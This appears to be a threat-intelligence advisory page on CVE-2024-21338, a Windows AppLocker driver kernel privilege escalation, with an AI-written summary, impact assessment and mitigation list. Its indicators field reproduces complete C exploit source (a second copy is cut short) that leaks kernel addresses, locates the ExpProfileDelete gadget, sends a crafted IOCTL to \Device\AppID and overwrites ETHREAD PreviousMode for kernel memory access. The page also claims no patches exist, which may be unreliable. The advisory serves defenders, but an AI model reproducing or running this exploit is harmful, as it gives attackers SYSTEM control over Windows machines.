Microsoft Windows 11 - Kernel Privilege Escalation
Microsoft Windows 11 - Kernel Privilege Escalation
AI Analysis
Technical Summary
This security threat concerns a kernel privilege escalation vulnerability in Microsoft Windows 11, identified as CVE-2024-21338. The exploit targets a flaw in the AppLocker driver (\Device\AppID) by sending a specially crafted IOCTL request (AipSmartHashImageFile) to the driver. The exploit code, written in C, leverages the ability to leak kernel addresses such as ETHREAD and FileObject structures, as well as the base address of the ntoskrnl.exe kernel module. It uses these leaked addresses to manipulate kernel memory and escalate privileges from a local user context to SYSTEM level. The exploit dynamically adapts to different Windows versions by adjusting IOCTL buffer structures and offsets, specifically handling builds before and after Windows 11's initial release (build 22000). The core technique involves modifying the PreviousMode field in the ETHREAD structure to trick the kernel into executing code with elevated privileges. The exploit also locates a kernel gadget (nt!ExpProfileDelete) used as a function pointer to facilitate the privilege escalation. The exploit requires local access and does not need user interaction beyond execution. No patches or known exploits in the wild are currently reported, but the exploit code is publicly available, increasing the risk of weaponization. The vulnerability allows an attacker with local access to gain kernel-level privileges, potentially bypassing security controls and compromising system integrity and confidentiality.
Potential Impact
For European organizations, this kernel privilege escalation vulnerability poses a significant risk, especially for enterprises relying on Windows 11 endpoints. Successful exploitation allows attackers to gain SYSTEM-level privileges, enabling full control over affected machines. This can lead to deployment of persistent malware, lateral movement within networks, theft of sensitive data, and disruption of critical services. Organizations in sectors such as finance, healthcare, government, and critical infrastructure are particularly at risk due to the sensitive nature of their data and operations. The exploit's local nature means initial access vectors could include phishing, malicious insiders, or exploitation of other vulnerabilities to gain user-level access before privilege escalation. The availability of public exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks or inclusion in multi-stage attack chains. Additionally, the AppLocker driver is a security feature used to control application execution; its compromise undermines endpoint security policies, further increasing risk. The lack of an official patch at the time of publication means organizations must rely on mitigations and monitoring to reduce exposure.
Mitigation Recommendations
1. Apply official Microsoft patches immediately once available for CVE-2024-21338 to remediate the vulnerability at the kernel level. 2. Until patches are released, restrict local administrative privileges and enforce the principle of least privilege to limit potential exploitation. 3. Disable or restrict access to the AppLocker driver device (\Device\AppID) where feasible, using device access control policies or endpoint protection tools. 4. Employ application whitelisting and endpoint detection and response (EDR) solutions to monitor for suspicious IOCTL calls or attempts to open handles to the AppLocker driver. 5. Monitor system logs and kernel event tracing for anomalous behavior indicative of privilege escalation attempts, such as unexpected NtDeviceIoControlFile calls or handle duplications. 6. Harden user account controls and implement multi-factor authentication to reduce the risk of initial user-level compromise. 7. Conduct regular security awareness training to reduce the risk of phishing or social engineering attacks that could lead to local access. 8. Use virtualization-based security features (e.g., Hypervisor-protected Code Integrity) if supported and enabled to add an additional layer of kernel protection. 9. Network segmentation to limit lateral movement from compromised endpoints. 10. Employ strict patch management and vulnerability scanning to identify and remediate vulnerable systems promptly.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Sweden, Belgium, Ireland
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win, Ubuntu # CVE : CVE-2024-21338 #include "pch.hpp" #include "poc.hpp" // This function is used to set the IOCTL buffer depending on the Windows version void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_info) { os_info->dwOSVersionInfoSize = sizeof(*os_info); // Get the OS version NTSTATUS status = RtlGetVersion(os_info); if (!NT_SUCCESS(status)) { log_err("Failed to get OS version!"); return nullptr; } log_debug("Windows version detected: %lu.%lu, build: %lu.", os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber); // "PreviousMode" offset in ETHREAD structure *k_thread_offset = 0x232; // Set the "AipSmartHashImageFile" function buffer depending on the Windows version void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000 ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10)) : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11)); return ioctl_buffer_alloc; } // This function is used to get the ETHREAD address through the SystemHandleInformation method that is used to get the address of the current thread object based on the pseudo handle -2 UINT_PTR c_poc::get_ethread_address() { // Duplicate the pseudo handle -2 to get the current thread object HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2); HANDLE h_duplicated_handle = {}; if (!DuplicateHandle( reinterpret_cast<HANDLE>(-1), h_current_thread_pseudo, reinterpret_cast<HANDLE>(-1), &h_duplicated_handle, NULL, FALSE, DUPLICATE_SAME_ACCESS)) { log_err("Failed to duplicate handle, error: %lu", GetLastError()); return EXIT_FAILURE; } NTSTATUS status = {}; ULONG ul_bytes = {}; PSYSTEM_HANDLE_INFORMATION h_table_info = {}; // Get the current thread object address while ((status = NtQuerySystemInformation(SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes)); else h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes)); } UINT_PTR ptr_token_address = 0; if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && h_table_info->Handles[i].HandleValue == reinterpret_cast<USHORT>(h_duplicated_handle)) { ptr_token_address = reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); break; } } } else { if (h_table_info) { log_err("NtQuerySystemInformation failed, (code: 0x%X)", status); NtClose(h_duplicated_handle); } } return ptr_token_address; } // This function is used to get the FileObject address through the SystemHandleInformation method that is used to get the address of the file object. UINT_PTR c_poc::get_file_object_address() { // Create a dummy file to get the file object address HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (h_file == INVALID_HANDLE_VALUE) { log_err("Failed to open dummy file, error: %lu", GetLastError()); return EXIT_FAILURE; } // Get the file object address NTSTATUS status = {}; ULONG ul_bytes = 0; PSYSTEM_HANDLE_INFORMATION h_table_info = NULL; while ((status = NtQuerySystemInformation( SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); else h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); } UINT_PTR token_address = 0; if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && h_table_info->Handles[i].HandleValue == reinterpret_cast<USHORT>(h_file)) { token_address = reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); break; } } } return token_address; } // This function is used to get the kernel module address based on the module name UINT_PTR c_poc::get_kernel_module_address(const char* target_module) { // Get the kernel module address based on the module name NTSTATUS status = {}; ULONG ul_bytes = {}; PSYSTEM_MODULE_INFORMATION h_table_info = {}; while ((status = NtQuerySystemInformation( SystemModuleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); else h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); } if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->ModulesCount; i++) { if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) { return reinterpret_cast<UINT_PTR>( h_table_info->Modules[i].ImageBaseAddress); } } } return 0; } // This function is used to scan the section for the pattern. BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size, LPVOID* lp_found_address) { std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]); SIZE_T bytes_read = {}; if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size, &bytes_read)) { return false; } for (SIZE_T i = 0; i < dw_size - pattern_size; i++) { if (memcmp(pattern, &buffer[i], pattern_size) == 0) { *lp_found_address = reinterpret_cast<LPVOID>( reinterpret_cast<DWORD_PTR>(lp_base_address) + i); return true; } } return false; } // This function is used to find the pattern in the module, in this case the pattern is the nt!ExpProfileDelete function UINT_PTR c_poc::find_pattern(HMODULE h_module) { UINT_PTR relative_offset = {}; auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module); auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>( reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew); auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers); LPVOID lp_found_address = nullptr; for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) { if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") == 0) { LPVOID lp_section_base_address = reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) + p_section_header[i].VirtualAddress); SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize; // Pattern to nt!ExpProfileDelete BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 }; SIZE_T pattern_size = sizeof(pattern); if (this->scan_section_for_pattern( GetCurrentProcess(), lp_section_base_address, dw_section_size, pattern, pattern_size, &lp_found_address)) { relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) - reinterpret_cast<UINT_PTR>(h_module); } break; } } return relative_offset; } // This function is used to send the IOCTL request to the driver, in this case the AppLocker driver through the AipSmartHashImageFile IOCTL bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t input_buffer_length) { IO_STATUS_BLOCK io_status = {}; NTSTATUS status = NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status, this->IOCTL_AipSmartHashImageFile, input_buffer, input_buffer_length, nullptr, 0); return NT_SUCCESS(status); } // This function executes the exploit bool c_poc::act() { // Get the OS version, set the IOCTL buffer and open a handle to the AppLocker driver OSVERSIONINFOEXW os_info = {}; size_t offset_of_previous_mode = {}; auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode, &os_info); if (!ioctl_buffer) { log_err("Failed to allocate the correct buffer to send on the IOCTL request."); return false; } // Open a handle to the AppLocker driver OBJECT_ATTRIBUTES object_attributes = {}; UNICODE_STRING appid_device_name = {}; RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID"); InitializeObjectAttributes(&object_attributes, &appid_device_name, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL); IO_STATUS_BLOCK io_status = {}; HANDLE h_device = {}; NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE, &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0); if (!NT_SUCCESS(status)) { log_debug("Failed to open a handle to the AppLocker driver (%ls) (code: 0x%X)", appid_device_name.Buffer, status); return false; } log_debug("AppLocker (AppId) handle opened: 0x%p", h_device); log_debug("Leaking the current ETHREAD address."); // Get the ETHREAD address, FileObject address, KernelBase address and the relative offset of the nt!ExpProfileDelete function auto e_thread_address = this->get_ethread_address(); auto file_obj_address = this->get_file_object_address(); auto ntoskrnl_kernel_base_address = this->get_kernel_module_address("ntoskrnl.exe"); auto ntoskrnl_user_base_address = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL); if (!e_thread_address && !ntoskrnl_kernel_base_address && !ntoskrnl_user_base_address && !file_obj_address) { log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses."); return false; } log_debug("ETHREAD address leaked: 0x%p", e_thread_address); log_debug("Feching the ExpProfileDelete (user cfg gadget) address."); auto relative_offset = this->find_pattern(ntoskrnl_user_base_address); UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address + relative_offset); ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode); log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode); log_debug("File object address -> 0x%p", file_obj_address); log_debug("kCFG Kernel Base address -> 0x%p", ntoskrnl_kernel_base_address); log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address); log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address); // Set the IOCTL buffer depending on the Windows version size_t ioctl_buffer_length = {}; CFG_FUNCTION_WRAPPER kcfg_function = {}; if (os_info.dwBuildNumber < 22000) { AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer; kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag UINT_PTR previous_mode_obf = previous_mode + 0x30; w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10); } else { AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer; kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag UINT_PTR previous_mode_obf = previous_mode + 0x30; w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 w11_ioctl_buffer->Unknown = NULL; // +0x18 ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11); } // Send the IOCTL request to the driver log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)"); char* buffer = (char*)malloc(sizeof(CHAR)); if (ioctl_buffer) { log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer, ioctl_buffer_length); if (!this->send_ioctl_request(h_device, ioctl_buffer, ioctl_buffer_length)) return false; NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)previous_mode, sizeof(CHAR), nullptr); log_debug("Current PreviousMode -> %d", *buffer); // From now on all Read/Write operations will be done in Kernel Mode. } log_debug("Restoring..."); // Restores PreviousMode to 1 (user-mode). *buffer = 1; NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode, (PVOID)buffer, sizeof(CHAR), nullptr); log_debug("Current PreviousMode -> %d", *buffer); // Free the allocated memory and close the handle to the AppLocker driver free(ioctl_buffer); free(buffer); NtClose(h_device); return true; }
Microsoft Windows 11 - Kernel Privilege Escalation
Description
Microsoft Windows 11 - Kernel Privilege Escalation
AI-Powered Analysis
Technical Analysis
This security threat concerns a kernel privilege escalation vulnerability in Microsoft Windows 11, identified as CVE-2024-21338. The exploit targets a flaw in the AppLocker driver (\Device\AppID) by sending a specially crafted IOCTL request (AipSmartHashImageFile) to the driver. The exploit code, written in C, leverages the ability to leak kernel addresses such as ETHREAD and FileObject structures, as well as the base address of the ntoskrnl.exe kernel module. It uses these leaked addresses to manipulate kernel memory and escalate privileges from a local user context to SYSTEM level. The exploit dynamically adapts to different Windows versions by adjusting IOCTL buffer structures and offsets, specifically handling builds before and after Windows 11's initial release (build 22000). The core technique involves modifying the PreviousMode field in the ETHREAD structure to trick the kernel into executing code with elevated privileges. The exploit also locates a kernel gadget (nt!ExpProfileDelete) used as a function pointer to facilitate the privilege escalation. The exploit requires local access and does not need user interaction beyond execution. No patches or known exploits in the wild are currently reported, but the exploit code is publicly available, increasing the risk of weaponization. The vulnerability allows an attacker with local access to gain kernel-level privileges, potentially bypassing security controls and compromising system integrity and confidentiality.
Potential Impact
For European organizations, this kernel privilege escalation vulnerability poses a significant risk, especially for enterprises relying on Windows 11 endpoints. Successful exploitation allows attackers to gain SYSTEM-level privileges, enabling full control over affected machines. This can lead to deployment of persistent malware, lateral movement within networks, theft of sensitive data, and disruption of critical services. Organizations in sectors such as finance, healthcare, government, and critical infrastructure are particularly at risk due to the sensitive nature of their data and operations. The exploit's local nature means initial access vectors could include phishing, malicious insiders, or exploitation of other vulnerabilities to gain user-level access before privilege escalation. The availability of public exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks or inclusion in multi-stage attack chains. Additionally, the AppLocker driver is a security feature used to control application execution; its compromise undermines endpoint security policies, further increasing risk. The lack of an official patch at the time of publication means organizations must rely on mitigations and monitoring to reduce exposure.
Mitigation Recommendations
1. Apply official Microsoft patches immediately once available for CVE-2024-21338 to remediate the vulnerability at the kernel level. 2. Until patches are released, restrict local administrative privileges and enforce the principle of least privilege to limit potential exploitation. 3. Disable or restrict access to the AppLocker driver device (\Device\AppID) where feasible, using device access control policies or endpoint protection tools. 4. Employ application whitelisting and endpoint detection and response (EDR) solutions to monitor for suspicious IOCTL calls or attempts to open handles to the AppLocker driver. 5. Monitor system logs and kernel event tracing for anomalous behavior indicative of privilege escalation attempts, such as unexpected NtDeviceIoControlFile calls or handle duplications. 6. Harden user account controls and implement multi-factor authentication to reduce the risk of initial user-level compromise. 7. Conduct regular security awareness training to reduce the risk of phishing or social engineering attacks that could lead to local access. 8. Use virtualization-based security features (e.g., Hypervisor-protected Code Integrity) if supported and enabled to add an additional layer of kernel protection. 9. Network segmentation to limit lateral movement from compromised endpoints. 10. Employ strict patch management and vulnerability scanning to identify and remediate vulnerable systems promptly.
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Technical Details
- Edb Id
- 52275
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Windows 11 - Kernel Privilege Escalation
# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win, Ubuntu # CVE : CVE-2024-21338 #include "pch.hpp" #include "poc.hpp" // This function is used to set the IOCTL buffer depending on the Windows version void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_info) { os_info->dwOSVersionInfoS
... (12507 more characters)
Threat ID: 68489e527e6d765d51d543b0
Added to database: 6/10/2025, 9:06:26 PM
Last enriched: 6/11/2025, 9:08:20 PM
Last updated: 8/16/2025, 11:50:00 PM
Views: 26
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MediumActions
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